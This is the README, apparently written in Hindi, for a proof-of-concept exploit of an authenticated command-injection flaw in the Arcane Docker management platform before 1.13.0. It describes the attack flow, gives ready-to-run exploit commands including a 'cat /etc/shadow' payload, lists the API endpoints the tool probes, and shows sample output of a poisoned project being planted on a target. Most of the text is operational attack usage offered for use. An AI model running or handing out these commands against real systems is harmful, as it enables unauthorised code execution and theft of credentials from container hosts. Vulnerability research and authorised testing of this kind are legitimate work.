
CVE-2026-23520 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Arcane Docker प्रबंधन में लाइफसाइकिल लेबल के माध्यम से OS कमांड इंजेक्शन के जरिए एक प्रमाणित RCE है। इसमें check, exploit और generate मोड शामिल हैं।
आर्केन डॉकर प्रबंधन में OS कमांड इंजेक्शन (< 1.13.0)
Arcane एक आधुनिक, वेब-आधारित डॉकर प्रबंधन प्लेटफ़ॉर्म है। 1.13.0 से पहले के संस्करण अपडेटर सेवा के लाइफसाइकल लेबल में OS कमांड इंजेक्शन के माध्यम से प्रमाणित रिमोट कोड निष्पादन (RCE) के प्रति संवेदनशील हैं।
अपडेटर सेवा दो डॉकर कंटेनर लेबल का समर्थन करती थी:
| लेबल | ट्रिगर |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | कंटेनर अपडेट से पहले |
com.getarcaneapp.arcane.lifecycle.post-update | कंटेनर अपडेट के बाद |
लेबल मान बिना किसी सैनिटाइज़ेशन के सीधे /bin/sh -c को पास किया जाता है। चूँकि कोई भी प्रमाणित उपयोगकर्ता (केवल व्यवस्थापक नहीं) API के माध्यम से प्रोजेक्ट बना सकता है, एक हमलावर एक ज़हरीला प्रोजेक्ट लगा सकता है। जब कोई व्यवस्थापक बाद में कंटेनर अपडेट ट्रिगर करता है, तो इंजेक्ट किया गया कमांड कंटेनर के अंदर निष्पादित होता है — और यदि वॉल्यूम माउंट मौजूद हैं तो संभावित रूप से होस्ट पर भी।
हमलावर (कम-विशेषाधिकार उपयोगकर्ता) आर्केन सर्वर
──────────────────────── ──────────────
1. प्रमाणित करें (कोई भी उपयोगकर्ता) ──────────► JWT जारी
2. ज़हरीले लेबल वाला प्रोजेक्ट प्रोजेक्ट दुर्भावनापूर्ण
बनाएं ──────────► लेबल के साथ सहेजा गया
│
┌───────────────────────────────────┘
│ 3. व्यवस्थापक कंटेनर अपडेट ट्रिगर करता है
▼
आर्केन अपडेटर लेबल मान पढ़ता है
इसे /bin/sh -c को पास करता है
│
▼
*** मनमाना कमांड निष्पादन ***
(कंटेनर स्कोप, या होस्ट यदि वॉल्यूम माउंटेड हैं)
| स्थिति | संस्करण |
|---|---|
| संवेदनशील | आर्केन < 1.13.0 |
| पैच किया गया | आर्केन ≥ 1.13.0 |
फिक्स (कमिट 5a9c2f9) हमले की सतह को समाप्त करने के लिए लाइफसाइकल लेबल सुविधा को पूरी तरह से हटा देता है।
urllib, किसी भी Python 3.10+ पर चलता हैcheck (फ़िंगरप्रिंट), exploit (तैनाती), generate (ऑफ़लाइन compose फ़ाइल)-v) — दिखाता है कि वास्तव में कौन से एंडपॉइंट जाँचे जा रहे हैं और क्या वापस आता हैpython3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit आर्केन API के माध्यम से ज़हरीला प्रोजेक्ट तैनात करें
check आर्केन को फ़िंगरप्रिंट करें और जाँचें कि क्या यह संवेदनशील है
generate ज़हरीली compose फ़ाइल उत्पन्न करें (कोई नेटवर्क आवश्यक नहीं)
options:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें
-v, --verbose जाँच डीबग आउटपुट दिखाएं
एक्सप्लॉइट फ़्लैग:
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-t, --target | आर्केन होस्ट (IP या होस्टनाम) | आवश्यक |
-P, --port | आर्केन पोर्ट | 3552 |
-u, --username | कोई भी प्रमाणित आर्केन उपयोगकर्ता | आवश्यक |
-p, --password | उपयोगकर्ता पासवर्ड | आवश्यक |
--payload | इंजेक्ट करने के लिए शेल कमांड | id |
--hook | pre या post अपडेट हुक | pre |
--project-name | ज़हरीले प्रोजेक्ट के लिए नाम | poc-cve-2026-23520 |
--env-id | पर्यावरण ID (छोड़े जाने पर स्वतः-पता लगाया जाता है) | auto |
--scheme | http या https | http |
--no-verify | TLS प्रमाणपत्र सत्यापन छोड़ें | off |
स्क्रिप्ट एक एकल API पथ को हार्डकोड नहीं करती है। इसके बजाय यह प्रत्येक ऑपरेशन के लिए चुपचाप कई ज्ञात पथों की जाँच करती है और पहली हिट पर रुक जाती है:
| ऑपरेशन | आज़माए गए एंडपॉइंट |
|---|---|
| संस्करण | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| प्रमाणीकरण | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| पर्यावरण | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| प्रोजेक्ट निर्माण | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, और अधिक |
प्रतिक्रिया कुंजियाँ भी लचीले ढंग से मिलाई जाती हैं (जैसे, currentVersion, version, Version, serverVersion — नेस्टेड ऑब्जेक्ट और केस-असंवेदनशील लुकअप सहित)।
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── चरण 1 · लक्ष्य फ़िंगरप्रिंटिंग ──
[*] लक्ष्य: http://10.129.7.208:3552
[*] संस्करण एंडपॉइंट जाँच रहे हैं …
[+] /api/version के माध्यम से संस्करण मिला
[+] आर्केन संस्करण: v1.12.4
[+] संस्करण v1.12.4 < 1.13.0 है — संवेदनशील
── चरण 2 · प्रमाणीकरण ──
[*] हमलावर के रूप में प्रमाणित हो रहे हैं …
[+] /api/auth/login के माध्यम से JWT प्राप्त हुआ
── चरण 3 · पर्यावरण खोज ──
[*] पर्यावरण एंडपॉइंट जाँच रहे हैं …
[+] /api/environments के माध्यम से 1 पर्यावरण मिला
[*] → 1 (local)
[+] पर्यावरण का उपयोग कर रहे हैं: 1
── चरण 4 · ज़हरीला प्रोजेक्ट लगाना ──
[*] लाइफसाइकल लेबल में पेलोड इंजेक्ट कर रहे हैं: pre-update
[*] लेबल : com.getarcaneapp.arcane.lifecycle.pre-update
[*] मान : id
[+] /api/environments/1/projects के माध्यम से प्रोजेक्ट बनाया गया
── एक्सप्लॉइट सफलतापूर्वक लगाया गया ──
[+] ज़हरीला प्रोजेक्ट अब अपडेट ट्रिगर की प्रतीक्षा कर रहा है।
5a9c2f9यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
MIT